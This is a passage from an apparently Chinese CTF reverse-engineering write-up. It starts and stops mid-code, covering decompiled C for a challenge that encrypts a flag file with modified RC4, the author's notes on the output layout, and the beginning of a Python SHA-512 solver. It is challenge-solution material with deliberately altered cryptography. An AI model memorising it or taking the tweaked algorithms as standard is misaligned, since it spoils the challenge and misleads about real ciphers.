leaf="">13L</span></span><span leaf="">L, Mode, </span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#34;rb&#34;</span></span><span leaf="">, </span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#34;flag&#34;</span></span><span leaf="">);</span><span style="color: #5c6370;font-style: italic;line-height: 26px;"><span leaf="">//打开flag</span></span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">if</span></span><span leaf=""> ( v244 )</span><span leaf=""><br/></span><span leaf="">  {</span><span leaf=""><br/></span><span leaf="">    (fseek)(</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">13L</span></span><span leaf="">L, Mode, </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0L</span></span><span leaf="">L, v244, </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">2L</span></span><span leaf="">L);</span><span leaf=""><br/></span><span leaf="">    v243 = (ftell)(</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">13L</span></span><span leaf="">L, Mode, v33, v244);</span><span leaf=""><br/></span><span leaf="">    (fseek)(</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">13L</span></span><span leaf="">L, Mode, </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0L</span></span><span leaf="">L, v244, </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0L</span></span><span leaf="">L);</span><span leaf=""><br/></span><span leaf="">    v239[</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">1</span></span><span leaf="">] = &amp;v229;</span><span leaf=""><br/></span><span leaf="">    sub_140008F50(</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">13</span></span><span leaf="">, Mode, v243, v216, &amp;v229, v34);</span><span leaf=""><br/></span><span leaf="">    sub_1400073E0(</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">13</span></span><span leaf="">, Mode, v35, &amp;v229, v36, v37);</span><span leaf=""><br/></span><span leaf="">    v38 = v243;</span><span leaf=""><br/></span><span leaf="">    v42 = (sub_140008B50)(</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">13</span></span><span leaf="">, Mode, v39, v216, v40, v41, v163);</span><span leaf=""><br/></span><span leaf="">    v242 = sub_140004728(</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">13L</span></span><span leaf="">L, Mode, </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">1L</span></span><span leaf="">L, v42, v38, v244);</span><span leaf=""><br/></span><span leaf="">    sub_140004718(</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">13L</span></span><span leaf="">L, Mode, v43, v244);</span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">if</span></span><span leaf=""> ( v242 == v243 )</span><span leaf=""><br/></span><span leaf="">    {</span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">for</span></span><span leaf=""> ( i = </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0</span></span><span leaf="">; i &lt;= </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">255</span></span><span leaf="">; ++i )</span><span leaf=""><br/></span><span leaf="">      {</span><span leaf=""><br/></span><span leaf="">        v44 = i + </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">4</span></span><span leaf="">;</span><span leaf=""><br/></span><span leaf="">        sbox[i + </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">32</span></span><span leaf="">] = i + </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">4</span></span><span leaf="">;                   </span><span style="color: #5c6370;font-style: italic;line-height: 26px;"><span leaf="">// 魔改点</span></span><span leaf=""><br/></span><span leaf="">      }</span><span leaf=""><br/></span><span leaf="">      v249 = </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0</span></span><span leaf="">;</span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">for</span></span><span leaf=""> ( j = </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0</span></span><span leaf="">; j &lt;= </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">255</span></span><span leaf="">; ++j )</span><span leaf=""><br/></span><span leaf="">      {</span><span leaf=""><br/></span><span leaf="">        v47 = sbox[j + </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">32</span></span><span leaf="">];</span><span leaf=""><br/></span><span leaf="">        LODWORD(v21) = v47 + v249;</span><span leaf=""><br/></span><span leaf="">        v48 = j;</span><span leaf=""><br/></span><span leaf="">        v22 = (sub_140006C60)(v22, v47 + v249, v47, key1, v45, v46, v164);</span><span leaf=""><br/></span><span leaf="">        v51 = (sub_140009350)(v22, v21, v48 % v22, key1, v49, v50, v165, v201);</span><span leaf=""><br/></span><span leaf="">        v52 = v21 + *v51;</span><span leaf=""><br/></span><span leaf="">        LODWORD(v51) = ((v21 + *v51) &gt;&gt; </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">31</span></span><span leaf="">) &gt;&gt; </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">24</span></span><span leaf="">;</span><span leaf=""><br/></span><span leaf="">        v249 = (v51 + v52) - v51;</span><span leaf=""><br/></span><span leaf="">        v240 = sbox[j + </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">32</span></span><span leaf="">];</span><span leaf=""><br/></span><span leaf="">        sbox[j + </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">32</span></span><span leaf="">] = sbox[v249 + </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">32</span></span><span leaf="">];</span><span leaf=""><br/></span><span leaf="">        v44 = v240;</span><span leaf=""><br/></span><span leaf="">        sbox[v249 + </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">32</span></span><span leaf="">] = v240;</span><span leaf=""><br/></span><span leaf="">      }</span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">for</span></span><span leaf=""> ( k = </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0L</span></span><span leaf="">L; ; ++k )</span><span leaf=""><br/></span><span leaf="">      {</span><span leaf=""><br/></span><span leaf="">        v55 = (sub_140006C60)(v22, v21, v44, v216, v45, v46, v164);</span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">if</span></span><span leaf=""> ( k &gt;= v55 )</span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">break</span></span><span leaf="">;</span><span leaf=""><br/></span><span leaf="">        v53 = (sub_140009350)(v22, v21, k, v216, v57, v58, v166, v201);</span><span leaf=""><br/></span><span leaf="">        v54 = *v53;</span><span leaf=""><br/></span><span leaf="">        v44 = v54 ^ sbox[k + </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">32</span></span><span leaf="">];</span><span leaf=""><br/></span><span leaf="">        *v53 = v54 ^ sbox[k + </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">32</span></span><span leaf="">];              </span><span style="color: #5c6370;font-style: italic;line-height: 26px;"><span leaf="">// 对flag进行加密，与sbox进行xor</span></span><span leaf=""><br/></span><span leaf="">      }</span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">for</span></span><span leaf=""> ( m = </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0</span></span><span leaf="">; m &lt;= </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">255</span></span><span leaf="">; ++m )</span><span leaf=""><br/></span><span leaf="">      {</span><span leaf=""><br/></span><span leaf="">        v56 = m + </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">4</span></span><span leaf="">;</span><span leaf=""><br/></span><span leaf="">        sbox[m + </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">32</span></span><span leaf="">] = m + </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">4</span></span><span leaf="">;</span><span leaf=""><br/></span><span leaf="">      }</span><span leaf=""><br/></span><span leaf="">      v249 = </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0</span></span><span leaf="">;</span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">for</span></span><span leaf=""> ( j = </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0</span></span><span leaf="">; j &lt;= </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">255</span></span><span leaf="">; ++j )</span><span leaf=""><br/></span><span leaf="">      {</span><span leaf=""><br/></span><span leaf="">        v59 = sbox[j + </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">32</span></span><span leaf="">];</span><span leaf=""><br/></span><span leaf="">        LODWORD(v21) = v59 + v249;</span><span leaf=""><br/></span><span leaf="">        v60 = j;</span><span leaf=""><br/></span><span leaf="">        v22 = (sub_140006C60)(v22, v59 + v249, v59, key2, v57, v58, v166);</span><span leaf=""><br/></span><span leaf="">        v63 = (sub_140009350)(v22, v21, v60 % v22, key2, v61, v62, v167, v201);</span><span leaf=""><br/></span><span leaf="">        v64 = v21 + *v63;</span><span leaf=""><br/></span><span leaf="">        LODWORD(v63) = ((v21 + *v63) &gt;&gt; </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">31</span></span><span leaf="">) &gt;&gt; </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">24</span></span><span leaf="">;</span><span leaf=""><br/></span><span leaf="">        v249 = (v63 + v64) - v63;</span><span leaf=""><br/></span><span leaf="">        v240 = sbox[j + </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">32</span></span><span leaf="">];</span><span leaf=""><br/></span><span leaf="">        sbox[j + </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">32</span></span><span leaf="">] = sbox[v249 + </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">32</span></span><span leaf="">];</span><span leaf=""><br/></span><span leaf="">        v56 = v240;</span><span leaf=""><br/></span><span leaf="">        sbox[v249 + </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">32</span></span><span leaf="">] = v240;</span><span leaf=""><br/></span><span leaf="">      }</span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">for</span></span><span leaf=""> ( n = </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0L</span></span><span leaf="">L; ; ++n )</span><span leaf=""><br/></span><span leaf="">      {</span><span leaf=""><br/></span><span leaf="">        v67 = (sub_140006C60)(v22, v21, v56, key1, v57, v58, v166);</span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">if</span></span><span leaf=""> ( n &gt;= v67 )</span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">break</span></span><span leaf="">;</span><span leaf=""><br/></span><span leaf="">        v65 = (sub_140009350)(v22, v21, n, key1, v69, v70, v168, v201);</span><span leaf=""><br/></span><span leaf="">        v66 = *v65;</span><span leaf=""><br/></span><span leaf="">        v56 = v66 ^ sbox[n + </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">32</span></span><span leaf="">];</span><span leaf=""><br/></span><span leaf="">        *v65 = v66 ^ sbox[n + </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">32</span></span><span leaf="">];              </span><span style="color: #5c6370;font-style: italic;line-height: 26px;"><span leaf="">// 对key1进行加密，加密同上</span></span><span leaf=""><br/></span><span leaf="">      }</span><span leaf=""><br/></span><span leaf="">      (sub_140008F30)(v22, v21, v68, sbox, v69, v70, v168);</span><span leaf=""><br/></span><span leaf="">      v214 = </span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#39;___calil&#39;</span></span><span leaf="">;                        </span><span style="color: #5c6370;font-style: italic;line-height: 26px;"><span leaf="">// 文件头</span></span><span leaf=""><br/></span><span leaf="">      v231 = (sub_140008B20)(v22, v21, v71, sbox, v72, v73, v169);</span><span leaf=""><br/></span><span leaf="">      (sub_1400067E0)(v22, v21, &amp;v231, &amp;v230, v74, v75, v170);</span><span leaf=""><br/></span><span leaf="">      sub_140008D50(v22, v21, v230, sbox, &amp;v214, sbox, v171, v201, v207);</span><span leaf=""><br/></span><span leaf="">      v79 = (sub_140008B20)(v22, v21, v76, key1, v77, v78, v172);</span><span style="color: #5c6370;font-style: italic;line-height: 26px;"><span leaf="">// // 加载 key1</span></span><span leaf=""><br/></span><span leaf="">      v83 = (sub_140008B80)(v22, v79, v80, key1, v81, v82, v173);</span><span style="color: #5c6370;font-style: italic;line-height: 26px;"><span leaf="">// 拼接到 8 字节之后 key1的长度是64字节</span></span><span leaf=""><br/></span><span style="color: #5c6370;font-style: italic;line-height: 26px;"><span leaf="">// 所以salt应该在64+8=72开始 到72+32=104结束</span></span><span leaf=""><br/></span><span leaf="">      v233 = (sub_140008B20)(v22, v79, v84, sbox, v85, v86, v174);</span><span leaf=""><br/></span><span leaf="">      (sub_1400067E0)(v22, v79, &amp;v233, &amp;Size, v87, v88, v175);</span><span leaf=""><br/></span><span leaf="">      (</span><span style="color: #e6c07b;line-height: 26px;"><span leaf="">memcpy</span></span><span leaf="">)(v22, v79, Size, sbox, v83, v79, v176, v202, v208);</span><span leaf=""><br/></span><span leaf="">      v92 = (sub_140008B20)(v22, v79, v89, v219, v90, v91, v177);</span><span leaf=""><br/></span><span leaf="">      v96 = (sub_140008B80)(v22, v92, v93, v219, v94, v95, v178);</span><span leaf=""><br/></span><span leaf="">      v235 = (sub_140008B20)(v22, v92, v97, sbox, v98, v99, v179);</span><span leaf=""><br/></span><span leaf="">      (sub_1400067E0)(v22, v92, &amp;v235, &amp;v234, v100, v101, v180);</span><span leaf=""><br/></span><span leaf="">      (</span><span style="color: #e6c07b;line-height: 26px;"><span leaf="">memcpy</span></span><span leaf="">)(v22, v92, v234, sbox, v96, v92, v181, v203, v209);</span><span leaf=""><br/></span><span leaf="">      v105 = (sub_140008B20)(v22, v92, v102, v216, v103, v104, v182);</span><span leaf=""><br/></span><span leaf="">      v109 = (sub_140008B80)(v22, v105, v106, v216, v107, v108, v183);</span><span leaf=""><br/></span><span leaf="">      v237 = (sub_140008B20)(v22, v105, v110, sbox, v111, v112, v184);</span><span leaf=""><br/></span><span leaf="">      (sub_1400067E0)(v22, v105, &amp;v237, &amp;v236, v113, v114, v185);</span><span leaf=""><br/></span><span leaf="">      (</span><span style="color: #e6c07b;line-height: 26px;"><span leaf="">memcpy</span></span><span leaf="">)(v22, v105, v236, sbox, v109, v105, v186, v204, v210);</span><span leaf=""><br/></span><span leaf="">      (md5)(v22, v105, v216, v213, v115, v116, v187, v205);</span><span leaf=""><br/></span><span leaf="">      v21 = (sub_140008B20)(v22, v105, v117, v213, v118, v119, v188);</span><span leaf=""><br/></span><span leaf="">      v123 = (sub_140008B80)(v22, v21, v120, v213, v121, v122, v189);</span><span leaf=""><br/></span><span leaf="">      v239[</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0</span></span><span leaf="">] = (sub_140008B20)(v22, v21, v124, sbox, v125, v126, v190);</span><span leaf=""><br/></span><span leaf="">      (sub_1400067E0)(v22, v21, v239, &amp;v238, v127, v128, v191);</span><span leaf=""><br/></span><span leaf="">      (</span><span style="color: #e6c07b;line-height: 26px;"><span leaf="">memcpy</span></span><span leaf="">)(v22, v21, v238, sbox, v123, v21, v192, v206, v211);</span><span leaf=""><br/></span><span leaf="">      v241 = (fopen)(v22, v21, </span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#34;wb&#34;</span></span><span leaf="">, </span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#34;./flag.enc&#34;</span></span><span leaf="">);</span><span style="color: #5c6370;font-style: italic;line-height: 26px;"><span leaf="">//写入密文</span></span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">if</span></span><span leaf=""> ( v241 )</span><span leaf=""><br/></span><span leaf="">      {</span><span leaf=""><br/></span><span leaf="">        v132 = (sub_140006C60)(v22, v21, v129, sbox, v130, v131, v193);</span><span leaf=""><br/></span><span leaf="">        v136 = (sub_140008B50)(v22, v21, v133, sbox, v134, v135, v194);</span><span leaf=""><br/></span><span leaf="">        sub_140004740(v22, v21, </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">1L</span></span><span leaf="">L, v136, v132, v241);</span><span leaf=""><br/></span><span leaf="">        sub_140004718(v22, v21, v137, v241);</span><span leaf=""><br/></span><span leaf="">      }</span><span leaf=""><br/></span><span leaf="">      sub_140008FD0(v22, v21, v129, v213, v130, v131, v193);</span><span leaf=""><br/></span><span leaf="">      sub_140008FD0(v22, v21, v138, sbox, v139, v140, v195);</span><span leaf=""><br/></span><span leaf="">    }</span><span leaf=""><br/></span><span leaf="">    sub_140008FD0(v22, v21, v44, v216, v45, v46, v164);</span><span leaf=""><br/></span><span leaf="">  }</span><span leaf=""><br/></span><span leaf="">  sub_140008FD0(v22, v21, v30, key2, v31, v32, v163);</span><span leaf=""><br/></span><span leaf="">  sub_140008FD0(v22, v21, v141, v218, v142, v143, v196);</span><span leaf=""><br/></span><span leaf="">  sub_140008FD0(v22, v21, v144, v219, v145, v146, v197);</span><span leaf=""><br/></span><span leaf="">  sub_140008FD0(v22, v21, v147, key1, v148, v149, v198);</span><span leaf=""><br/></span><span leaf="">  sub_140008FD0(v22, v21, v150, v221, v151, v152, v199);</span><span leaf=""><br/></span><span leaf="">  sub_140008FD0(v22, v21, v153, v222, v154, v155, v200);</span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">return</span></span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0L</span></span><span leaf="">L;</span><span leaf=""><br/></span><span leaf="">}</span></code></pre><p data-tool="mdnice编辑器" style="color: rgb(0, 0, 0);font-size: 14px;line-height: 1.8em;letter-spacing: 0em;text-align: left;text-indent: 0em;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 8px;padding-bottom: 8px;padding-left: 0px;padding-right: 0px;"><span leaf="">通过findcrypt找到md5以及sha512</span></p><p data-tool="mdnice编辑器" style="color: rgb(0, 0, 0);font-size: 14px;line-height: 1.8em;letter-spacing: 0em;text-align: left;text-indent: 0em;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 8px;padding-bottom: 8px;padding-left: 0px;padding-right: 0px;"><span leaf="">用我自己的文件进行测试 发现最后是文件的md5值 文件头就是lilac___</span></p><figure data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;display: flex;flex-direction: column;justify-content: center;align-items: center;"><span leaf=""><img class="rich_pages wxw-img" data-ratio="0.2037037037037037" data-type="png" data-w="1080" style="display: block;margin: 0px auto;max-width: 100%;border-style: none;border-width: 3px;border-color: rgba(0, 0, 0, 0.4);border-radius: 4px;object-fit: fill;box-shadow: rgba(170, 170, 170, 0.5) 0px 0px 6px 0px;height: auto !important;" data-imgfileid="100030409" data-aistatus="1" src="https://wechat2rss.xlab.app/img-proxy/?k=9d01d5c3&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FPUubqXlrzBQ6DHXMbOqpeGx1ejPtmMU0JZTfQeYtrps3eG9QMP6eoXvDfUv5OYDPWJYibnqnPbBeZRjUxXgSp2g%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></span></figure><p data-tool="mdnice编辑器" style="color: rgb(0, 0, 0);font-size: 14px;line-height: 1.8em;letter-spacing: 0em;text-align: left;text-indent: 0em;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 8px;padding-bottom: 8px;padding-left: 0px;padding-right: 0px;"><span leaf="">所以文件格式大概是</span></p><pre data-tool="mdnice编辑器" style="border-radius: 5px;box-shadow: rgba(0, 0, 0, 0.55) 0px 2px 10px;text-align: left;margin-top: 10px;margin-bottom: 10px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;"><code style="overflow-x: auto;padding: 16px;color: #abb2bf;padding-top: 15px;background: #282c34;border-radius: 5px;display: -webkit-box;font-family: Consolas, Monaco, Menlo, monospace;font-size: 12px;"><span leaf="">[ </span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#34;lilac___&#34;</span></span><span leaf=""> ]</span><span leaf=""><br/></span><span leaf="">[ metadata blocks ]后续推出是salt+key1的密文</span><span leaf=""><br/></span><span leaf="">[ RC4-encrypted flag ] 加密的flag，也就是密文</span><span leaf=""><br/></span><span leaf="">[ md5 校验数据 ]</span></code></pre><p data-tool="mdnice编辑器" style="color: rgb(0, 0, 0);font-size: 14px;line-height: 1.8em;letter-spacing: 0em;text-align: left;text-indent: 0em;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 8px;padding-bottom: 8px;padding-left: 0px;padding-right: 0px;"><span leaf="">理论上key1，key2应该能调试出来，但是调试的时候怎么调也调不起来，所以直接复现下算法求key1，key2，最后解密flag</span></p><p data-tool="mdnice编辑器" style="color: rgb(0, 0, 0);font-size: 14px;line-height: 1.8em;letter-spacing: 0em;text-align: left;text-indent: 0em;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 8px;padding-bottom: 8px;padding-left: 0px;padding-right: 0px;"><span leaf="">写完脚本发现文件头什么也不是</span></p><p data-tool="mdnice编辑器" style="color: rgb(0, 0, 0);font-size: 14px;line-height: 1.8em;letter-spacing: 0em;text-align: left;text-indent: 0em;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 8px;padding-bottom: 8px;padding-left: 0px;padding-right: 0px;"><span leaf="">于是回去重新看算法，发现sha512有魔改。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。</span></p><figure data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;display: flex;flex-direction: column;justify-content: center;align-items: center;"><span leaf=""><img class="rich_pages wxw-img" data-ratio="0.4537037037037037" data-type="png" data-w="1080" style="display: block;margin: 0px auto;max-width: 100%;border-style: none;border-width: 3px;border-color: rgba(0, 0, 0, 0.4);border-radius: 4px;object-fit: fill;box-shadow: rgba(170, 170, 170, 0.5) 0px 0px 6px 0px;height: auto !important;" data-imgfileid="100030411" data-aistatus="1" src="https://wechat2rss.xlab.app/img-proxy/?k=3e2cbd11&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FPUubqXlrzBQ6DHXMbOqpeGx1ejPtmMU0kKAYzocgzrDSuiaHeXicfzwEOYBAib4icrRE00Tubic3YKZ47U5flW9h6Eg%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></span></figure><p data-tool="mdnice编辑器" style="color: rgb(0, 0, 0);font-size: 14px;line-height: 1.8em;letter-spacing: 0em;text-align: left;text-indent: 0em;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 8px;padding-bottom: 8px;padding-left: 0px;padding-right: 0px;"><span leaf="">所以交给ai写了个库函数，稍作修改</span></p><pre data-tool="mdnice编辑器" style="border-radius: 5px;box-shadow: rgba(0, 0, 0, 0.55) 0px 2px 10px;text-align: left;margin-top: 10px;margin-bottom: 10px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;"><code style="overflow-x: auto;padding: 16px;color: #abb2bf;padding-top: 15px;background: #282c34;border-radius: 5px;display: -webkit-box;font-family: Consolas, Monaco, Menlo, monospace;font-size: 12px;"><span style="color: #c678dd;line-height: 26px;"><span leaf="">import</span></span><span leaf=""> struct</span><span leaf=""><br/></span><span leaf="">MASK = (</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">1</span></span><span leaf=""> &lt;&lt; </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">64</span></span><span leaf="">) - </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">1</span></span><span leaf=""><br/></span><span style="color: #5c6370;font-style: italic;line-height: 26px;"><span leaf=""># 初始向量 IV</span></span><span leaf=""><br/></span><span leaf="">H0 = [</span><span leaf=""><br/></span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0x6a09e667f3bcc908</span></span><span leaf="">, </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0xbb67ae8584caa73b</span></span><span leaf="">,</span><span leaf=""><br/></span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0x3c6ef372fe94f82b</span></span><span leaf="">, </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0xa54ff53a5f1d36f1</span></span><span leaf="">,</span><span leaf=""><br/></span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0x510e527fade682d1</span></span><span leaf="">, </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0x9b05688c2b3e6c1f</span></span><span leaf="">,</span><span leaf=""><br/></span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0x1f83d9abfb41bd6b</span></span><span leaf="">, </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0x5be0cd19137e2179</span></span><span leaf="">,</span><span leaf=""><br/></span><span leaf="">]</span><span leaf=""><br/></span><span style="color: #5c6370;font-style: italic;line-height: 26px;"><span leaf=""># K 常量（80 个）</span></span><span leaf=""><br/></span><span leaf="">K = [</span><span leaf=""><br/></span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0x428a2f98d728ae22</span></span><span leaf="">, </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0x7137449123ef65cd</span></span><span leaf="">,</span><span leaf=""><br/></span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0xb5c0fbcfec4d3b2f</span></span><span leaf="">, </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0xe9b5dba58189dbbc</span></span><span leaf="">,</span><span leaf=""><br/></span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0x3956c25bf348b538</span></span><span leaf="">, </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0x59f111f1b605d019</span></span><span leaf="">,</span><span leaf=""><br/></span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0x923f82a4af194f9b</span></span><span leaf="">, </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0xab1c5ed5da6d8118</span></span><span leaf="">,</span><span leaf=""><br/></span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0xd807aa98a3030242</span></span><span leaf="">, </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0x12835b0145706fbe</span></span><span leaf="">,</span><span leaf=""><br/></span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0x243185be4ee4b28c</span></span><span leaf="">, </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0x550c7dc3d5ffb4e2</span></span><span leaf="">,</span><span leaf=""><br/></span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0x72be5d74f27b896f</span></span><span leaf="">, </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0x80deb1fe3b1696b1</span></span><span leaf="">,</span><span leaf=""><br/></span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0x9bdc06a725c71235</span></span><span leaf="">, </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0xc19bf174cf692694</span></span><span leaf="">,</span><span leaf=""><br/></span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0xe49b69c19ef14ad2</span></span><span leaf="">, </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0xefbe4786384f25e3</span></span><span leaf="">,</span><span leaf=""><br/></span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0x0fc19dc68b8cd5b5</span></span><span leaf="">, </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0x240ca1cc77ac9c65</span></span><span leaf="">,</span><span leaf=""><br/></span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0x2de92c6f592b0275</span></span><span leaf="">, </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0x4a7484aa6ea6e483</span></span><span leaf="">,</span><span leaf=""><br/></span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0x5cb0a9dcbd41fbd4</span></span><span leaf="">, </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0x76f988da831153b5</span></span><span leaf="">,</span><span leaf=""><br/></span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0x983e5152ee66dfab</span></span><span leaf="">, </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0xa831c66d2db43210</span></span><span leaf="">,</span><span leaf=""><br/></span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0xb00327c898fb213f</span></span><span leaf="">, </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0xbf597fc7beef0ee4</span></span><span leaf="">,</span><span leaf=""><br/></span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0xc6e00bf33da88fc2</span></span><span leaf="">, </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0xd5a79147930aa725</span></span><span leaf="">,</span><span leaf=""><br/></span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0x06ca6351e003826f</span></span><span leaf="">, </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0x142929670a0e6e70</span></span><span leaf="">,</span><span leaf=""><br/></span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0x27b70a8546d22ffc</span></span><span leaf="">, </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0x2e1b21385c26c926</span></span><span leaf="">,</span><span leaf=""><br/></span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0x4d2c6dfc5ac42aed</span></span><span leaf="">, </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0x53380d139d95b3df</span></span><span leaf="">,</span><span leaf=""><br/></span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0x650a73548baf63de</span></span><span leaf="">, </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0x766a0abb3c77b2a8</span></span><span leaf="">,</span><span leaf=""><br/></span><span style="color: 